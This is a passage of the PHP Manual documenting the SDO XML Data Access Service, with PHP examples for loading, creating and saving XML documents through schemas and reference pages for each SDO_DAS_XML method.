All of the examples in the Examples use a column specifier. There is one example in the Scenarios directory of the installation that does not: that which works with just the employee table, and because it works with just one table, there can not exist duplicate column names.

返回值

Returns a data graph. Specifically, it returns a root object of a special type. Under this root object will be the data from the result set. The root object will have a multi-valued containment property with the same name as the application root type specified on the constructor, and that property will contain one or more data objects of the application root type.

In the event that the query returns no data, the special root object will still be returned but the containment property for the application root type will be empty.

错误／异常

SDO_DAS_Relational::executeQuery() can throw an SDO_DAS_Relational_Exception if it is unable to construct the data graph correctly. This can occur for a number of reasons: for example if it finds that it does not have primary keys in the result set for all the objects. It also catches any PDO exceptions and obtains PDO diagnostic information which it includes in an SDO_DAS_Relational_Exception which it then throws.

范例

Please see the Examples section in the general information about the Relational DAS for many examples of calling this method.

User Contributed Notes

There are no user contributed notes for this page.


SDO XML Data Access Service

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
  • SDO DAS XML 函数
    • SDO_DAS_XML::addTypes — To load a second or subsequent schema file to a SDO_DAS_XML object
    • SDO_DAS_XML::create — To create SDO_DAS_XML object for a given schema file
    • SDO_DAS_XML::createDataObject — Creates SDO_DataObject for a given namespace URI and type name
    • SDO_DAS_XML::createDocument — Creates an XML Document object from scratch, without the need to load a document from a file or string
    • SDO_DAS_XML::loadFile — Returns SDO_DAS_XML_Document object for a given path to xml instance document
    • SDO_DAS_XML::loadString — Returns SDO_DAS_XML_Document for a given xml instance string
    • SDO_DAS_XML::saveFile — Saves the SDO_DAS_XML_Document object to a file
    • SDO_DAS_XML::saveString — Saves the SDO_DAS_XML_Document object to a string
    • SDO_DAS_XML_Document::getRootDataObject — Returns the root SDO_DataObject
    • SDO_DAS_XML_Document::getRootElementName — Returns root element's name
    • SDO_DAS_XML_Document::getRootElementURI — Returns root element's URI string
    • SDO_DAS_XML_Document::setEncoding — Sets the given string as encoding
    • SDO_DAS_XML_Document::setXMLDeclaration — Sets the xml declaration
    • SDO_DAS_XML_Document::setXMLVersion — Sets the given string as xml version

User Contributed Notes

There are no user contributed notes for this page.


简介

In order to use the XML Data Access Service for Service Data Objects, you will need to understand some of the concepts behind SDO: the data graph, the data object, XPath and property expressions, and so on. If you are not familiar with these ideas, you might want to look first at the section on SDO.

The job of the XML DAS is to move data between the application and an XML data source, which can be either a file or a URL. SDOs are always created and maintained according to a model which defines type names and what property names each type may have. For data which is from XML, this SDO model is built from a schema file written in XML schema language (an xsd file). This schema file is usually passed to the create method when the XMLDAS is initialised. The » SDO 2.0 specification defines the mapping between XML types and SDO types. There are a number of small limitations in the PHP support - not everything which is in the specification can be done - and these limitations are summarised in a later section.

User Contributed Notes

There are no user contributed notes for this page.


需求

The SDO XML Data Access Service requires PHP 5.1.0 or higher. It is packaged with the SDO extension and requires SDO to have been installed. See the SDO installation instructions for the details of how to do this.

User Contributed Notes

There are no user contributed notes for this page.


安装

The XML Data Access Service is packaged and installed as part of the SDO extension. Please Refer SDO installation instructions.

User Contributed Notes

There are no user contributed notes for this page.


范例

Several of the following examples are based on the letter example described in the SDO documentation. The examples assume the XML Schema for the letter is contained in a file letter.xsd and the letter instance is in the file letter.xml. These two files are reproduced here:

<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:letter="http://letterSchema"
  targetNamespace="http://letterSchema">
  <xsd:element name="letters" type="letter:FormLetter"/>
  <xsd:complexType name="FormLetter" mixed="true">
    <xsd:sequence>
      <xsd:element name="date" minOccurs="0" type="xsd:string"/>
      <xsd:element name="firstName" minOccurs="0" type="xsd:string"/>
      <xsd:element name="lastName" minOccurs="0" type="xsd:string"/>
    </xsd:sequence>
  </xsd:complexType>
</xsd:schema>

<letter:letters xmlns:letter="http://letterSchema">
  <date>March 1, 2005</date>
  Mutual of Omaha
  Wild Kingdom, USA
  Dear
  <firstName>Casy</firstName>
  <lastName>Crocodile</lastName>
  Please buy more shark repellent.
  Your premium is past due.
</letter:letters>

Example #1 Loading, altering, and saving an XML document

The following example shows how an XML document can be loaded from a file, altered, and written back.

<?php
/**
 * Load, update, and save an XML document
 */
try {
   $xmldas = SDO_DAS_XML::create("letter.xsd");
   $document = $xmldas->loadFile("letter.xml");
   $root_data_object = $document->getRootDataObject();
   $root_data_object->date = "September 03, 2004";
   $root_data_object->firstName = "Anantoju";
   $root_data_object->lastName = "Madhu";
   $xmldas->saveFile($document, "letter-out.xml");
   echo "New file has been written:\n";
   print file_get_contents("letter-out.xml");
} catch (SDO_Exception $e) {
   print($e->getMessage());
}
?>

An instance of the XML DAS is first obtained from the SDO_DAS_XML::create() method, which is a static method of the SDO_DAS_XML class. The location of the xsd is passed as a parameter. Once we have an instance of the XML DAS initialised with a given schema, we can use it to load the instance document using the loadFile() method. There is also a loadString() method if you want to load an XML instance document from a string. If the instance document loads successfully, you will be returned an object of type SDO_DAS_XML_Document, on which you can call the getRootDataObject() method to get the SDO data object which is the root of the SDO data graph. You can then use SDO operations to change the graph. In this example we alter the date, firstName, and lastName properties. Then we use the saveFile() method to write the changed document back to the file system. The saveFile method has an optional extra integer argument which if specified will cause the XML DAS to format the XML, using the integer as the amount to indent by at each change in level on the document.

This will write the following to letter-out.xml.

<?xml version="1.0" encoding="UTF-8"?>
<FormLetter xmlns="http://letterSchema" xsi:type="FormLetter" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <date>September 03, 2004</date>
  Mutual of Omaha
  Wild Kingdom, USA
  Dear
  <firstName>Anantoju</firstName>
  <lastName>Madhu</lastName>
  Please buy more shark repellent.
  Your premium is past due.
</FormLetter>

Example #2 Creating a new XML document

The previous example loaded the document from a file. This example shows how to create an SDO data graph in memory. In this example it is then saved to an XML string. Furthermore, because the letter contains both structured and unstructured content, it uses the Sequence API as well assignments to properties to construct the data graph.

<?php
/**
 * Create an XML document from scratch
 */
try {
   $xmldas = SDO_DAS_XML::create("letter.xsd");
   try {
       $doc = $xmldas->createDocument();
       $rdo = $doc->getRootDataObject();
       $seq = $rdo->getSequence();
       $seq->insert("April 09, 2005", NULL, 'date');
       $seq->insert("Acme Inc. ", NULL, NULL);
       $seq->insert("United Kingdom. ");
       $seq->insert("Dear", NULL, NULL);
       $seq->insert("Tarun", NULL, "firstName");
       $seq->insert("Nayaraaa", NULL, "lastName");
       $rdo->lastName = "Nayar";
       $seq->insert("Please note that your order number ");
       $seq->insert(12345);
       $seq->insert(" has been dispatched today. Thanks for your business with us.");
       print($xmldas->saveString($doc));
   } catch (SDO_Exception $e) {
       print($e);
   }
} catch (SDO_Exception $e) {
   print("Problem creating an XML document: " . $e->getMessage());
}
?>

The createDocument() method on the XML DAS returns a document object with a single root data object corresponding to an empty document element. The element name of the document element is known from the schema file. If there is any ambiguity about what the document element is, as there can be when more than one schema has been loaded into the same XML DAS, the element name and the namespace URI can be passed to the createDocument() method.

This will emit the following output (line breaks have been inserted for readability):

<?xml version="1.0" encoding="UTF-8"?>
<FormLetter xmlns="http://letterSchema" xsi:type="FormLetter"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<date>April 09, 2005</date>
Acme Inc. United Kingdom.
Dear
<firstName>Tarun</firstName>
<lastName>Nayar</lastName>
Please note that your order number 12345 has been
dispatched today. Thanks for your business with us.
</FormLetter>

Example #3 Setting XML document properties

This third example shows you how to set the XML version and encoding on the document object. These will be used when the XML is written out. If no XML declaration is wanted at all (perhaps you want to generate the XML as a string to embed in something) then you can use the setXMLDeclaration() method to suppress it.

<?php
/**
 * Illustrate the calls that control the XML declaration
 */
   $xmldas = SDO_DAS_XML::create("letter.xsd");
   $document = $xmldas->loadFile("letter.xml");
   $document->setXMLVersion("1.1");
   $document->setEncoding("ISO-8859-1");
   print($xmldas->saveString($document));
?>

The XML version and encoding are set in the XML declaration at the top of the XML document.

<?xml version="1.1" encoding="utf-8"?>
.../...

Example #4 Using an open type

This fourth example illustrates the use of an SDO open type and the use of the createDataObject() method. For this example we use the following two schema:

<schema
  xmlns="http://www.w3.org/2001/XMLSchema">

  <element name="jungle">
    <complexType>
      <sequence>
        <any minOccurs="0" maxOccurs="unbounded"/>
      </sequence>
    </complexType>
  </element>

</schema>

Note the presence of the any element in the definition. This first schema defines the jungle complex type as containing a sequence of any other type. The other types that the example will use are defined in a second schema file:

<schema xmlns= "http://www.w3.org/2001/XMLSchema">

   <complexType name="snakeType">
     <sequence>
       <element name= "name" type="string"/>
       <element name= "length" type="positiveInteger" />
     </sequence>
   </complexType>

   <complexType name="bearType">
     <sequence>
       <element name= "name" type="string"/>
       <element name= "weight" type="positiveInteger" />
     </sequence>
   </complexType>

   <complexType name="pantherType">
     <sequence>
       <element name= "name" type="string"/>
       <element name= "colour" type="string" />
     </sequence>
   </complexType>

</schema>

Here is the example PHP code that uses these two schema files:

<?php

/**
 * Illustrate open types and the use of the addTypes() method
 */

$xmldas = SDO_DAS_XML::create();
$xmldas->addTypes("jungle.xsd"); // this is an open type i.e. the xsd specifies it can contain "any" type
$xmldas->addTypes('animalTypes.xsd');

$baloo            = $xmldas->createDataObject('','bearType');
$baloo->name      = "Baloo";
$baloo->weight    = 800;

$bagheera         = $xmldas->createDataObject('','pantherType');
$bagheera->name   = "Bagheera";
$bagheera->colour = 'inky black';

$kaa              = $xmldas->createDataObject('','snakeType');
$kaa->name        = "Kaa";
$kaa->length      = 25;

$document         = $xmldas->createDocument();
$do               = $document->getRootDataObject();
$do->bear         = $baloo;
$do->panther      = $bagheera;
$do->snake        = $kaa;

print($xmldas->saveString($document,2));

?>

These two schema files are loaded into the XML DAS with first the create() and addTypes() methods. The createDataObject() method is used to create three separate data objects. In each case the namespaceURI and typename of the type are passed to the createDataObject() method: in this example the namespace URI is blank because no namespace is used in the schema. Once the three data objects - representing a bear, a panther and a snake - have been created, a document object is created with the createDocument() method. In this case there is no ambiguity about what the document element of the document should be - as the second schema file only defines complex types, the document element can only be the global jungle element defined in the first schema. This document will have a single root data object corresponding to an empty document element jungle. As this is an open type, properties can be added at will. When the first assignment is made to $do->bear, a property bear is added to the root data object: likewise for the next two assignments. When the document is written out by the saveString() method, the resulting document is:

<?xml version="1.0" encoding="UTF-8"?>
<jungle xsi:type="jungle" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <bear xsi:type="bearType">
    <name>Baloo</name>
    <weight>800</weight>
  </bear>
  <panther xsi:type="pantherType">
    <name>Bagheera</name>
    <colour>inky black</colour>
  </panther>
  <snake xsi:type="snakeType">
    <name>Kaa</name>
    <length>25</length>
  </snake>
</jungle>

Example #5 Finding out what you can from the document

This example is intended to illustrate how you can find the element name and namespace of the document element from the XML Document object, and the SDO type and namespace from the root data object of the XML data object, and how they relate to one another. This can be difficult to understand because there are four method calls: two can be made against the Document object, and two that can be made against any data object including the root data object. Because of the rules that define how the SDO model is derived from the XML model, when the data object concerned is the root object that represents the document object for the document, only three possible values can come back from these four method calls.

The two method calls that can be made against the document are getRootElementName() and getRootEelementURI(). These return the element name and namespace of the document element, respectively.

The two method calls that can be made against any data object are getTypeName() and getTypeNamespaceURI(). These return the SDO type name and type namespace of the data object, respectively.

Always, calling getRootElementURI() on the document object will return the same value as calling getNamespaceURI() on the root data object. Essentially, the information is all derived from the first few lines of the schema file, where there are three distinct pieces of information. For illustration, here again are the first few lines of the letter.xsd that we used above.

<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:letter="http://letterSchema"
            targetNamespace="http://letterSchema">

  <xsd:element name="letters" type="letter:FormLetter"/>

  <xsd:complexType name="FormLetter" mixed="true">
    .../...

The three important values are:

  • letters, the name of the document element

  • FormLetter, the name of the complex type of the document element. This is also the name of the SDO type of the root data object.

  • http://letterSchema, the namespace to which the document element belongs. This is also the namespaceURI of the SDO type of the root data object.

It is part of the XML-SDO mapping rules that when the SDO model is built from the schema file, the typename and namespaceURI of the SDO types for the root element are taken from those of the complex type of the document element, where it exists. Hence in this example the typename of the root data object is FormLetter. In the event that there is no separate complex type definition for the document element, when the type is defined inline and is anonymous, the SDO type name will be the same as the element name.

The following program loads the letter document and checks the return values from each of the four calls.

<?php
/**
 * Finding out what you can about the document and document element
 * This can be quite hard to understand because there are four calls
 * Two calls are made against the document
 * Two calls are made against the root data object and its model
 * Because of the SDO-XML mapping rules and how the SDO model is derived
 * from the XML model, only three possible values can come back from these four calls.
 * Always, $document->getRootElementURI() == (type of root data object)->namespaceURI
 * Essentially, it all comes form the first few lines of the xsd:
 * <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 *   xmlns:letter="http://letterSchema"
 *   targetNamespace="http://letterSchema">
 *   <xsd:element name="letters" type="letter:FormLetter"/>
 */

$xmldas = SDO_DAS_XML::create("letter.xsd");
$document = $xmldas->loadFile("letter.xml");
$root_do = $document->getRootDataObject();

/**
 * The "root element name" is the element name of the document element
 * in this case 'letters'
 * This matches the 'name' attribute of the document element in the xsd and matches
 * the element name from the xml
 */
echo "The document element name is " . $document->getRootElementName() . "\n";
assert($document->getRootElementName() == 'letters'); // a property of the document

/**
 * The "root element URI" is the namespace part of the element name of the document element
 * in this case 'http://letterSchema' since 'letters' is in that namespace
 * This is taken from the xsd and matches the namespace picked up from the xml
 */
echo "The document element is in the namespace " . $document->getRootElementURI() . "\n";
assert($document->getRootElementURI() == 'http://letterSchema'); // a property of the document

/**
 * The type name is taken from the SDO model
 * The XML-SDO mapping rules make this either:
 *   The name of the complexType if there is one (in this case there is)
 *   The document element name if there no complexType
 * This is taken from the xsd
 */
echo "The type name of the root data object is " . $root_do->getTypeName() . "\n";
assert($root_do->getTypeName() == 'FormLetter');

/**
 * The type's namespaceURI is taken from the SDO model
 * The XML-SDO mapping rules ensure that this will always be the same as
 * the namepace URI of the document element
 */
echo "The namespaceURI of the root data object is " . $root_do->getTypeNamespaceURI() . "\n";
assert($root_do->getTypeNamespaceURI() == 'http://letterSchema');

?>

The output from this program is as follows:

The document element name is letters
The document element is in the namespace http://letterSchema
The type name of the root data object is FormLetter
The namespaceURI of the root data object is http://letterSchema

Example #6 Printing the SDO model

The XML DAS provides a simple means to see what types and properties have been loaded. The php "print" or "echo" instruction will print out the types and properties.

<?php
/**
 * Illustrate printing out the model
 */

$xmldas = SDO_DAS_XML::create("letter.xsd");
print $xmldas;

?>

The output from this program is as follows:

object(SDO_XML_DAS)#1 {
18 types have been defined. The types and their properties are::
1. commonj.sdo:BigDecimal
2. commonj.sdo:BigInteger
3. commonj.sdo:Boolean
4. commonj.sdo:Byte
5. commonj.sdo:Bytes
6. commonj.sdo:ChangeSummary
7. commonj.sdo:Character
8. commonj.sdo:DataObject
9. commonj.sdo:Date
10. commonj.sdo:Double
11. commonj.sdo:Float
12. commonj.sdo:Integer
13. commonj.sdo:Long
14. commonj.sdo:Short
15. commonj.sdo:String
16. commonj.sdo:URI
17. http://letterSchema:FormLetter
    - date (commonj.sdo:String)
    - firstName (commonj.sdo:String)
    - lastName (commonj.sdo:String)
18. http://letterSchema:RootType
    - letters (http://letterSchema:FormLetter)

User Contributed Notes

cc at yarmschool dot org 14-Oct-2014 10:48
Hello. I need to know if I could this with PHP under Windows IIS servers. Thank you


SDO DAS XML 函数

预定义类

The XML DAS provides two main classes. The first is SDO_DAS_XML which is the main class used to fetch the data from the XML source and used to write the data back. The second is the SDO_DAS_XML_Document class, which represents the data in the XML document.

There are also some exception classes which can be thrown if errors are found when looking for or parsing the xsd or xml files.

SDO_DAS_XML

This is the main class of the XML DAS, which is used fetch the data from the xml source and also used to write the data back. Other than the methods to load and save xml files,

方法

  • create This is a static method available in the SDO_DAS_XML class. Used to construct an SDO_DAS_XML object.

  • addTypes Works in much the same way as create() but used to add the contents of a second or subsequent schema file to an XML DAS that has already been created.

  • createDataObject Can be used to construct an SDO data object of a given type.

  • createDocument Can be used to construct an XML Document object from scratch.

  • loadFile Loads the xml instance document from a file. This file can be at local file system or it can be on a remote host.

  • loadString same as the above method. Loads the xml instance which is available as string.

  • saveFile save SDO_DAS_XML_Document object as a xml file.

  • saveString save SDO_DAS_XML_Document object as a xml string.

SDO_DAS_XML_Document

This class can be used to get to the name and namespace of the document element, and to get to the root data object of the document. Lastly, it can also be used to set the XML version and encoding of a document on output.

方法

  • getRootDataObject gets the root DataObject.

  • getRootElementName gets the root DataObject's name.

  • getRootElementURI gets the root DataObject's URI.

  • setEncoding sets the encoding string with the given value.

  • setXMLDeclaraion to set/unset the xml declaration.

  • setXMLVersion sets the xml version with the given value.

SDO_DAS_XML_ParserException

Is a subclass of SDO_Exception. Thrown for any parser errors while loading the xsd/xml file.

SDO_DAS_XML_FileException

Is a subclass of SDO_Exception. Thrown by any of the methods that load data from a file, when the file cannot be found.

Limitations compared with SDO 2.0 specification

The » SDO 2.0 specification defines the mapping between XML types and SDO types. With Java SDO, this mapping is implemented by the XMLHelper. With SDO for PHP, this mapping is implemented by the XML Data Access Service. The XML DAS implements the mapping described in the SDO 2.0 specification with some restrictions. A detailed list is of the limitations is:

XML Simple Types

  1. Simple Type with sdoJava:instanceClass - no PHP equivalent provided.

  2. Simple Type with sdoJava:extendedInstanceClass - no PHP equivalent provided.

  3. Simple Type with list of itemType.

  4. Simple Type with union.

XML Complex Types

  1. Complex Type with sdo:aliasName - no PHP support for SDO Type aliases.

XSD Attribute

  1. Attribute with sdo:aliasName - no PHP support for SDO property aliases.

  2. Attribute with default value - no PHP support for SDO property defaults.

  3. Attribute with fixed value - no PHP support for SDO read-only properties or default values.

  4. Attribute referencing a DataObject with sdo:propertyType - no support for sdo:propertyType="...".

  5. Attribute with bi-directional property to a DataObject with sdo:oppositeProperty and sdo:propertyType - no PHP support for SDO opposite.

XSD Elements

  1. Element with sdo:aliasName - no PHP support for SDO property aliases.

  2. Element with substitution group.

XSD Elements with Simple Type

  1. Element of SimpleType with default - no PHP support for SDO defaults

  2. Element of SimpleType with fixed value - no PHP support for SDO read-only properties or default values.

  3. Element of SimpleType with sdo:string - no support for sdo:string="true".

  4. Element referencing a DataObject with sdo:propertyType - no support for sdo:propertyType="..."

  5. Element with bi-directional reference to a DataObject with sdo:oppositeProperty and sdo:propertyType - no PHP support for SDO opposite.

Table of Contents

  • SDO_DAS_XML::addTypes — To load a second or subsequent schema file to a SDO_DAS_XML object
  • SDO_DAS_XML::create — To create SDO_DAS_XML object for a given schema file
  • SDO_DAS_XML::createDataObject — Creates SDO_DataObject for a given namespace URI and type name
  • SDO_DAS_XML::createDocument — Creates an XML Document object from scratch, without the need to load a document from a file or string
  • SDO_DAS_XML::loadFile — Returns SDO_DAS_XML_Document object for a given path to xml instance document
  • SDO_DAS_XML::loadString — Returns SDO_DAS_XML_Document for a given xml instance string
  • SDO_DAS_XML::saveFile — Saves the SDO_DAS_XML_Document object to a file
  • SDO_DAS_XML::saveString — Saves the SDO_DAS_XML_Document object to a string
  • SDO_DAS_XML_Document::getRootDataObject — Returns the root SDO_DataObject
  • SDO_DAS_XML_Document::getRootElementName — Returns root element's name
  • SDO_DAS_XML_Document::getRootElementURI — Returns root element's URI string
  • SDO_DAS_XML_Document::setEncoding — Sets the given string as encoding
  • SDO_DAS_XML_Document::setXMLDeclaration — Sets the xml declaration
  • SDO_DAS_XML_Document::setXMLVersion — Sets the given string as xml version

User Contributed Notes

There are no user contributed notes for this page.


To load a second or subsequent schema file to a SDO_DAS_XML object

  • ? SDO DAS XML 函数
  • SDO_DAS_XML::create ?
  • PHP Manual
  • SDO DAS XML 函数
  • To load a second or subsequent schema file to a SDO_DAS_XML object

SDO_DAS_XML::addTypes

(^)

SDO_DAS_XML::addTypes — To load a second or subsequent schema file to a SDO_DAS_XML object

说明

SDO_DAS_XML::addTypes ( string $xsd_file ) : void

Load a second or subsequent schema file to an XML DAS that has already been created with the static method create(). Although the file may be any valid schema file, a likely reason for using this method is to add a schema file containing definitions of extra complex types, hence the name. See Example 4 of the parent document for an example.

参数

xsd_file

Path to XSD Schema file.

返回值

None if successful, otherwise throws an exception as described below.

错误／异常

SDO_TypeNotFoundException

Thrown if a type is not defined in the underlying model.

SDO_DAS_XML_ParserException

Thrown for any problems while parsing the given XSD File.

SDO_DAS_XML_FileException

Thrown if the specified file cannot be found.

User Contributed Notes

There are no user contributed notes for this page.


To create SDO_DAS_XML object for a given schema file

  • ? SDO_DAS_XML::addTypes
  • SDO_DAS_XML::createDataObject ?
  • PHP Manual
  • SDO DAS XML 函数
  • To create SDO_DAS_XML object for a given schema file

SDO_DAS_XML::create

(^)

SDO_DAS_XML::create — To create SDO_DAS_XML object for a given schema file

说明

SDO_DAS_XML::create ([ mixed $xsd_file [, string $key ]] ) : SDO_DAS_XML

This is the only static method of SDO_DAS_XML class. Used to instantiate SDO_DAS_XML object.

参数

xsd_file

Path to XSD Schema file. This is optional. If omitted a DAS will be created that only has the SDO base types defined. Schema files can then be loaded with the addTypes() method. Can be string or array of values.

key

返回值

Returns SDO_DAS_XML object on success otherwise throws an exception as described below.

错误／异常

SDO_TypeNotFoundException

Thrown if a type is not defined in the underlying model.

SDO_DAS_XML_ParserException

Thrown for any problems while parsing the given XSD File.

SDO_DAS_XML_FileException

Thrown if the specified file cannot be found.

User Contributed Notes

There are no user contributed notes for this page.


Creates SDO_DataObject for a given namespace URI and type name

  • ? SDO_DAS_XML::create
  • SDO_DAS_XML::createDocument ?
  • PHP Manual
  • SDO DAS XML 函数
  • Creates SDO_DataObject for a given namespace URI and type name

SDO_DAS_XML::createDataObject

(^)

SDO_DAS_XML::createDataObject — Creates SDO_DataObject for a given namespace URI and type name

说明

SDO_DAS_XML::createDataObject ( string $namespace_uri , string $type_name ) : SDO_DataObject

Creates SDO_DataObject for a given namespace URI and type name. The type should be defined in the underlying model otherwise SDO_TypeNotFoundException will be thrown.

参数

namespace_uri

Namespace URI of the type name.

type_name

Type Name.

返回值

Returns SDO_DataObject on success.

错误／异常

SDO_TypeNotFoundException

Thrown if a type is not defined in the underlying model.

User Contributed Notes

There are no user contributed notes for this page.


Creates an XML Document object from scratch, without the need to load a document from a file or string

  • ? SDO_DAS_XML::createDataObject
  • SDO_DAS_XML::loadFile ?
  • PHP Manual
  • SDO DAS XML 函数
  • Creates an XML Document object from scratch, without the need to load a document from a file or string

SDO_DAS_XML::createDocument

(^)

SDO_DAS_XML::createDocument — Creates an XML Document object from scratch, without the need to load a document from a file or string

说明

SDO_DAS_XML::createDocument ([ string $document_element_name ] ) : SDO_DAS_XML_Document
SDO_DAS_XML::createDocument ( string $document_element_namespace_URI , string $document_element_name [, SDO_DataObject $dataobject ] ) : SDO_DAS_XML_Document

Creates an XML Document object. This will contain just one empty root element on which none of the properties will have been set. The purpose of this call is to allow an application to create an XML document from scratch without the need to load a document from a file or string. The document that is created will be as if a document had been loaded that contained just a single empty document element with no attributes set or elements within it.

createDocument() may need to be told what the document element is. This will not be necessary in simple cases. When there is no ambiguity then no parameter need be passed to the method. However it is possible to load more than one schema file into the same XML DAS and in this case there may be more than one possible document element defined: furthermore it is even possible that there are two possible document elements that differ only in the namespace. To cope with these cases it is possible to specify either the document element name, or both the document element name and namespace to the method.

参数

document_element_name

The name of the document element. Only needed if there is more than one possibility.

document_element_namespace_URI

The namespace part of the document element name. Only needed if there is more than one possible document element with the same name.

dataobject

返回值

Returns an SDO_XML_DAS_Document object on success.

错误／异常

SDO_UnsupportedOperationException

Thrown if an element name or element name and namespace URI is passed, but not found in the underlying model.

User Contributed Notes

There are no user contributed notes for this page.


Returns SDO_DAS_XML_Document object for a given path to xml instance document

  • ? SDO_DAS_XML::createDocument
  • SDO_DAS_XML::loadString ?
  • PHP Manual
  • SDO DAS XML 函数
  • Returns SDO_DAS_XML_Document object for a given path to xml instance document

SDO_DAS_XML::loadFile

(^)

SDO_DAS_XML::loadFile — Returns SDO_DAS_XML_Document object for a given path to xml instance document

说明

SDO_DAS_XML::loadFile ( string $xml_file ) : SDO_XMLDocument

Constructs the tree of SDO_DataObjects from the given address to xml instance document. Returns SDO_DAS_XML_Document Object. Use SDO_DAS_XML_Document::getRootDataObject method to get root data object.

参数

xml_file

Path to Instance document. This can be a path to a local file or it can be a URL.

返回值

Returns SDO_DAS_XML_Document object on Success or throws exception as described.

错误／异常

SDO_TypeNotFoundException

Thrown if a type is not defined by the underlying model.

SDO_PropertyNotFoundException

Thrown if a property within a type is not defined in the underlying model.

SDO_DAS_XML_ParserException

Thrown for any problems while parsing the given XSD File.

SDO_DAS_XML_FileException

Thrown if the specified file cannot be found.

User Contributed Notes

There are no user contributed notes for this page.


Returns SDO_DAS_XML_Document for a given xml instance string

  • ? SDO_DAS_XML::loadFile
  • SDO_DAS_XML::saveFile ?
  • PHP Manual
  • SDO DAS XML 函数
  • Returns SDO_DAS_XML_Document for a given xml instance string

SDO_DAS_XML::loadString

(^)

SDO_DAS_XML::loadString — Returns SDO_DAS_XML_Document for a given xml instance string

说明

SDO_DAS_XML::loadString ( string $xml_string ) : SDO_DAS_XML_Document

Constructs the tree of SDO_DataObjects from the given xml instance string. Returns SDO_DAS_XML_Document Object. Use SDO_DAS_XML_Document::getRootDataObject method to get root data object.

参数

xml_string

xml string.

返回值

Returns SDO_DAS_XML_Document object on Success or throws exception as described.

错误／异常

SDO_TypeNotFoundException

Thrown if a type is not defined by the underlying model.

SDO_PropertyNotFoundException

Thrown if the a property within a type is not defined in the underlying model.

SDO_DAS_XML_ParserException

Thrown for any problems while parsing the given XSD File.

User Contributed Notes

There are no user contributed notes for this page.


Saves the SDO_DAS_XML_Document object to a file

  • ? SDO_DAS_XML::loadString
  • SDO_DAS_XML::saveString ?
  • PHP Manual
  • SDO DAS XML 函数
  • Saves the SDO_DAS_XML_Document object to a file

SDO_DAS_XML::saveFile

(^)

SDO_DAS_XML::saveFile — Saves the SDO_DAS_XML_Document object to a file

说明

SDO_DAS_XML::saveFile ( SDO_XMLDocument $xdoc , string $xml_file [, int $indent ] ) : void

Saves the SDO_DAS_XML_Document object to a file.

参数

xdoc

SDO_DAS_XML_Document object.

xml_file

xml file.

indent

Optional argument to specify that the xml should be formatted. A non-negative integer is the amount to indent each level of the xml. So, the integer 2, for example, will indent the xml so that each contained element is two spaces further to the right than its containing element. The integer 0 will cause the xml to be completely left-aligned. The integer -1 means no formatting - the xml will come out on one long line.

返回值

None.

错误／异常

SDO_DAS_XML_FileException

Thrown if the specified file cannot be found.

User Contributed Notes

There are no user contributed notes for this page.


Saves the SDO_DAS_XML_Document object to a string

  • ? SDO_DAS_XML::saveFile
  • SDO_DAS_XML_Document::getRootDataObject ?
  • PHP Manual
  • SDO DAS XML 函数
  • Saves the SDO_DAS_XML_Document object to a string

SDO_DAS_XML::saveString

(^)

SDO_DAS_XML::saveString — Saves the SDO_DAS_XML_Document object to a string

说明

SDO_DAS_XML::saveString ( SDO_XMLDocument $xdoc [, int $indent ] ) : string

Saves the SDO_DAS_XML_Document object to string.

参数

xdoc

SDO_DAS_XML_Document object.

indent

Optional argument to specify that the xml should be formatted. A non-negative integer is the amount to indent each level of the xml. So, the integer 2, for example, will indent the xml so that each contained element is two spaces further to the right than its containing element. The integer 0 will cause the xml to be completely left-aligned. The integer -1 means no formatting - the xml will come out on one long line.

返回值

xml string.

User Contributed Notes

There are no user contributed notes for this page.


Returns the root SDO_DataObject

  • ? SDO_DAS_XML::saveString
  • SDO_DAS_XML_Document::getRootElementName ?
  • PHP Manual
  • SDO DAS XML 函数
  • Returns the root SDO_DataObject

SDO_DAS_XML_Document::getRootDataObject

(^)

SDO_DAS_XML_Document::getRootDataObject — Returns the root SDO_DataObject

说明

SDO_DAS_XML_Document::getRootDataObject ( void ) : SDO_DataObject

Returns the root SDO_DataObject.

参数

返回值

Returns the root SDO_DataObject.

User Contributed Notes

There are no user contributed notes for this page.


Returns root element's name

  • ? SDO_DAS_XML_Document::getRootDataObject
  • SDO_DAS_XML_Document::getRootElementURI ?
  • PHP Manual
  • SDO DAS XML 函数
  • Returns root element's name

SDO_DAS_XML_Document::getRootElementName

(^)

SDO_DAS_XML_Document::getRootElementName — Returns root element's name

说明

SDO_DAS_XML_Document::getRootElementName ( void ) : string

Returns root element's name.

参数

返回值

Returns root element's name.

User Contributed Notes

There are no user contributed notes for this page.


Returns root element's URI string

  • ? SDO_DAS_XML_Document::getRootElementName
  • SDO_DAS_XML_Document::setEncoding ?
  • PHP Manual
  • SDO DAS XML 函数
  • Returns root element's URI string

SDO_DAS_XML_Document::getRootElementURI

(^)

SDO_DAS_XML_Document::getRootElementURI — Returns root element's URI string

说明

SDO_DAS_XML_Document::getRootElementURI ( void ) : string

Returns root element's URI string.

参数

返回值

Returns root element's URI string.

User Contributed Notes

There are no user contributed notes for this page.


Sets the given string as encoding

  • ? SDO_DAS_XML_Document::getRootElementURI
  • SDO_DAS_XML_Document::setXMLDeclaration ?
  • PHP Manual
  • SDO DAS XML 函数
  • Sets the given string as encoding

SDO_DAS_XML_Document::setEncoding

(^)

SDO_DAS_XML_Document::setEncoding — Sets the given string as encoding

说明

SDO_DAS_XML_Document::setEncoding ( string $encoding ) : void

Sets the given string as encoding.

参数

encoding

Encoding string.

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Sets the xml declaration

  • ? SDO_DAS_XML_Document::setEncoding
  • SDO_DAS_XML_Document::setXMLVersion ?
  • PHP Manual
  • SDO DAS XML 函数
  • Sets the xml declaration

SDO_DAS_XML_Document::setXMLDeclaration

(^)

SDO_DAS_XML_Document::setXMLDeclaration — Sets the xml declaration

说明

SDO_DAS_XML_Document::setXMLDeclaration ( bool $xmlDeclatation ) : void

Controls whether an XML declaration will be generated at the start of the XML document. Set to TRUE to generate the XML declaration, or FALSE to suppress it.

参数

xmlDeclatation

Boolean value to set the XML declaration.

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Sets the given string as xml version

